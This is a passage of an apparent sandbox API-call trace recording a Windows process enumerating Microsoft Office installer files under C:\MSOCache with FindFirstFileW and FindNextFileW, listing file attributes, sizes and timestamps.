ftCreationTime.dwHighDateTime=0x1d0ca7c, ftLastAccessTime.dwLowDateTime=0x870a50a0, ftLastAccessTime.dwHighDateTime=0x1d0ca7c, ftLastWriteTime.dwLowDateTime=0xcac23ba0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x137258, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0051.613] GetLastError () returned 0x5 [0051.613] FindNextFileW (in: hFindFile=0x4d52c8, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x16fad80, ftCreationTime.dwHighDateTime=0x1d0ca8d, ftLastAccessTime.dwLowDateTime=0x16fad80, ftLastAccessTime.dwHighDateTime=0x1d0ca8d, ftLastWriteTime.dwLowDateTime=0xcac23ba0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x902bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0051.613] GetLastError () returned 0x5 [0051.614] FindNextFileW (in: hFindFile=0x4d52c8, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x19453d90, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x19453d90, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xbb7ffba0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ba4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusWW.msi", cAlternateFileName="PROPLU~1.MSI")) returned 1 [0051.614] GetLastError () returned 0x5 [0051.614] FindNextFileW (in: hFindFile=0x4d52c8, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x20df7960, ftCreationTime.dwHighDateTime=0x1d0cbb5, ftLastAccessTime.dwLowDateTime=0x20df7960, ftLastAccessTime.dwHighDateTime=0x1d0cbb5, ftLastWriteTime.dwLowDateTime=0xbb7685c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x42d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusWW.xml", cAlternateFileName="PROPLU~1.XML")) returned 1 [0051.614] GetLastError () returned 0x5 [0051.617] FindNextFileW (in: hFindFile=0x4d52c8, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa9bd76f0, ftCreationTime.dwHighDateTime=0x1d0cbc0, ftLastAccessTime.dwLowDateTime=0xa9bd76f0, ftLastAccessTime.dwHighDateTime=0x1d0cbc0, ftLastWriteTime.dwLowDateTime=0xbcba2950, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x13496c5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPsWW.cab", cAlternateFileName="")) returned 1 [0051.624] GetLastError () returned 0x5 [0051.624] FindNextFileW (in: hFindFile=0x4d52c8, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9ecd5a60, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x9ecd5a60, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xc4980430, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xed9cec7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPsWW2.cab", cAlternateFileName="")) returned 1 [0051.624] GetLastError () returned 0x5 [0051.624] FindNextFileW (in: hFindFile=0x4d52c8, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7e3d3da0, ftCreationTime.dwHighDateTime=0x1d0cb96, ftLastAccessTime.dwLowDateTime=0x7e3d3da0, ftLastAccessTime.dwHighDateTime=0x1d0cb96, ftLastWriteTime.dwLowDateTime=0xca192a60, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x946c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.dll", cAlternateFileName="")) returned 1 [0051.624] GetLastError () returned 0x5 [0051.624] FindNextFileW (in: hFindFile=0x4d52c8, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f377c20, ftCreationTime.dwHighDateTime=0x1d0cb96, ftLastAccessTime.dwLowDateTime=0x7f377c20, ftLastAccessTime.dwHighDateTime=0x1d0cb96, ftLastWriteTime.dwLowDateTime=0xca192a60, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x39cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0051.624] GetLastError () returned 0x5 [0051.624] FindNextFileW (in: hFindFile=0x4d52c8, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x417c4f10, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x417c4f10, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xcac48590, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0051.624] GetLastError () returned 0x5 [0051.628] FindNextFileW (in: hFindFile=0x4d52c8, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x417c4f10, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x417c4f10, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xcac48590, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0051.628] FindClose (in: hFindFile=0x4d52c8 | out: hFindFile=0x4d52c8) returned 1 [0051.628] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37e0060 | out: hHeap=0xab0000) returned 1 [0051.629] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd1fe2960, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd2113460, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd2113460, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0016-0409-0000-0000000FF1CE}-C", cAlternateFileName="{974F5~1")) returned 1 [0051.629] GetLastError () returned 0x12 [0051.634] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-0016-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd1fe2960, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd2113460, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd2113460, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d52c8 [0051.634] FindNextFileW (in: hFindFile=0x4d52c8, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd1fe2960, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd2113460, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd2113460, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.634] FindNextFileW (in: hFindFile=0x4d52c8, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb87a4fc0, ftCreationTime.dwHighDateTime=0x1d0cbbf, ftLastAccessTime.dwLowDateTime=0xb87a4fc0, ftLastAccessTime.dwHighDateTime=0x1d0cbbf, ftLastWriteTime.dwLowDateTime=0xd2053610, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x58095e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLR.cab", cAlternateFileName="")) returned 1 [0051.634] GetLastError () returned 0x12 [0051.634] FindNextFileW (in: hFindFile=0x4d52c8, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdfce780, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0xdfce780, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd1fe0a20, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x247000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.msi", cAlternateFileName="")) returned 1 [0051.634] GetLastError () returned 0x12 [0051.634] FindNextFileW (in: hFindFile=0x4d52c8, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf47c6f70, ftCreationTime.dwHighDateTime=0x1d0cbb1, ftLastAccessTime.dwLowDateTime=0xf47c6f70, ftLastAccessTime.dwHighDateTime=0x1d0cbb1, ftLastWriteTime.dwLowDateTime=0xd1fe0a20, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x6f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.xml", cAlternateFileName="")) returned 1 [0051.634] GetLastError () returned 0x12 [0051.637] FindNextFileW (in: hFindFile=0x4d52c8, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41a72fa0, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x41a72fa0, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd2111cf0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x9b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0051.643] GetLastError () returned 0x12 [0051.657] FindNextFileW (in: hFindFile=0x4d52c8, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41a72fa0, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x41a72fa0, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd2111cf0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x9b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0051.661] FindClose (in: hFindFile=0x4d52c8 | out: hFindFile=0x4d52c8) returned 1 [0051.661] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37e0060 | out: hHeap=0xab0000) returned 1 [0051.661] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd33f8300, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd3f92e40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd3f92e40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0018-0409-0000-0000000FF1CE}-C", cAlternateFileName="{9CA7F~1")) returned 1 [0051.661] GetLastError () returned 0x12 [0051.661] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-0018-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd33f8300, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd3f92e40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd3f92e40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d52c8 [0051.662] FindNextFileW (in: hFindFile=0x4d52c8, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd33f8300, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd3f92e40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd3f92e40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.662] FindNextFileW (in: hFindFile=0x4d52c8, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x169d4f10, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x169d4f10, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd33f63c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x247000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.msi", cAlternateFileName="POWERP~1.MSI")) returned 1 [0051.662] GetLastError () returned 0x12 [0051.662] FindNextFileW (in: hFindFile=0x4d52c8, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34e10110, ftCreationTime.dwHighDateTime=0x1d0cbb3, ftLastAccessTime.dwLowDateTime=0x34e10110, ftLastAccessTime.dwHighDateTime=0x1d0cbb3, ftLastWriteTime.dwLowDateTime=0xd33f63c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x67d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.xml", cAlternateFileName="POWERP~1.XML")) returned 1 [0051.662] GetLastError () returned 0x12 [0051.674] FindNextFileW (in: hFindFile=0x4d52c8, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6902120, ftCreationTime.dwHighDateTime=0x1d0cbc1, ftLastAccessTime.dwLowDateTime=0x6902120, ftLastAccessTime.dwHighDateTime=0x1d0cbc1, ftLastWriteTime.dwLowDateTime=0xd34445c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x6048ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="PptLR.cab", cAlternateFileName="")) returned 1 [0051.681] GetLastError () returned 0x12 [0051.681] FindNextFileW (in: hFindFile=0x4d52c8, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x426d17b0, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x426d17b0, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd3f916d0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x818, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0051.681] GetLastError () returned 0x12 [0051.681] FindNextFileW (in: hFindFile=0x4d52c8, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x426d17b0, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x426d17b0, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd3f916d0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x818, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0051.688] FindClose (in: hFindFile=0x4d52c8 | out: hFindFile=0x4d52c8) returned 1 [0051.688] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37e0060 | out: hHeap=0xab0000) returned 1 [0051.688] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd3f92e40, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd410fc00, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd410fc00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0019-0409-0000-0000000FF1CE}-C", cAlternateFileName="{9032D~1")) returned 1 [0051.688] GetLastError () returned 0x12 [0051.688] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-0019-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd3f92e40, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd410fc00, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd410fc00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d52c8 [0051.689] FindNextFileW (in: hFindFile=0x4d52c8, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd3f92e40, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd410fc00, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd410fc00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.689] FindNextFileW (in: hFindFile=0x4d52c8, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x16c60cc0, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x16c60cc0, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd3fb87d0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x24c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.msi", cAlternateFileName="PUBLIS~1.MSI")) returned 1 [0051.689] GetLastError () returned 0x12 [0051.689] FindNextFileW (in: hFindFile=0x4d52c8, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8263d6b0, ftCreationTime.dwHighDateTime=0x1d0cbb3, ftLastAccessTime.dwLowDateTime=0x8263d6b0, ftLastAccessTime.dwHighDateTime=0x1d0cbb3, ftLastWriteTime.dwLowDateTime=0xd3f916d0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x67e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.xml", cAlternateFileName="PUBLIS~1.XML")) returned 1 [0051.689] GetLastError () returned 0x12 [0051.691] FindNextFileW (in: hFindFile=0x4d52c8, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4d82bc70, ftCreationTime.dwHighDateTime=0x1d0cbbf, ftLastAccessTime.dwLowDateTime=0x4d82bc70, ftLastAccessTime.dwHighDateTime=0x1d0cbbf, ftLastWriteTime.dwLowDateTime=0xd404fdb0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x3658af, dwReserved0=0x0, dwReserved1=0x0, cFileName="PubLR.cab", cAlternateFileName="")) returned 1 [0051.692] GetLastError () returned 0x12 [0051.692] FindNextFileW (in: hFindFile=0x4d52c8, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4278fe90, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x4278fe90, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd410e490, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x703, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0051.696] GetLastError () returned 0x12 [0051.697] FindNextFileW (in: hFindFile=0x4d52c8, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4278fe90, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x4278fe90, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd410e490, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x703, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0051.700] FindClose (in: hFindFile=0x4d52c8 | out: hFindFile=0x4d52c8) returned 1 [0051.700] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37e0060 | out: hHeap=0xab0000) returned 1 [0051.700] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd32c7800, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd33d21a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd33d21a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-001A-0409-0000-0000000FF1CE}-C", cAlternateFileName="{98E9A~1")) returned 1 [0051.704] GetLastError () returned 0x12 [0051.704] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-001a-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd32c7800, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd33d21a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd33d21a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d52c8 [0051.947] FindNextFileW (in: hFindFile=0x4d52c8, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd32c7800, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd33d21a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd33d21a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.947] FindNextFileW (in: hFindFile=0x4d52c8, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x90965df0, ftCreationTime.dwHighDateTime=0x1d0cbbf, ftLastAccessTime.dwLowDateTime=0x90965df0, ftLastAccessTime.dwHighDateTime=0x1d0cbbf, ftLastWriteTime.dwLowDateTime=0xd3337ce0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x3d2ce1, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlkLR.cab", cAlternateFileName="")) returned 1 [0051.947] GetLastError () returned 0x12 [0051.948] FindNextFileW (in: hFindFile=0x4d52c8, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749677e0, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x749677e0, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd32c7800, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x2b3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.msi", cAlternateFileName="OUTLOO~1.MSI")) returned 1 [0051.948] GetLastError () returned 0x12 [0051.948] FindNextFileW (in: hFindFile=0x4d52c8, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfb696530, ftCreationTime.dwHighDateTime=0x1d0cbb2, ftLastAccessTime.dwLowDateTime=0xfb696530, ftLastAccessTime.dwHighDateTime=0x1d0cbb2, ftLastWriteTime.dwLowDateTime=0xd32c7800, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xb15, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.xml", cAlternateFileName="OUTLOO~1.XML")) returned 1 [0051.948] GetLastError () returned 0x12 [0051.948] FindNextFileW (in: hFindFile=0x4d52c8, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x425ebfd0, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x425ebfd0, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd33d19d0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xf1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0051.948] GetLastError () returned 0x12 [0051.948] FindNextFileW (in: hFindFile=0x4d52c8, lpFindFileData=0x2e6f1d0 | out: 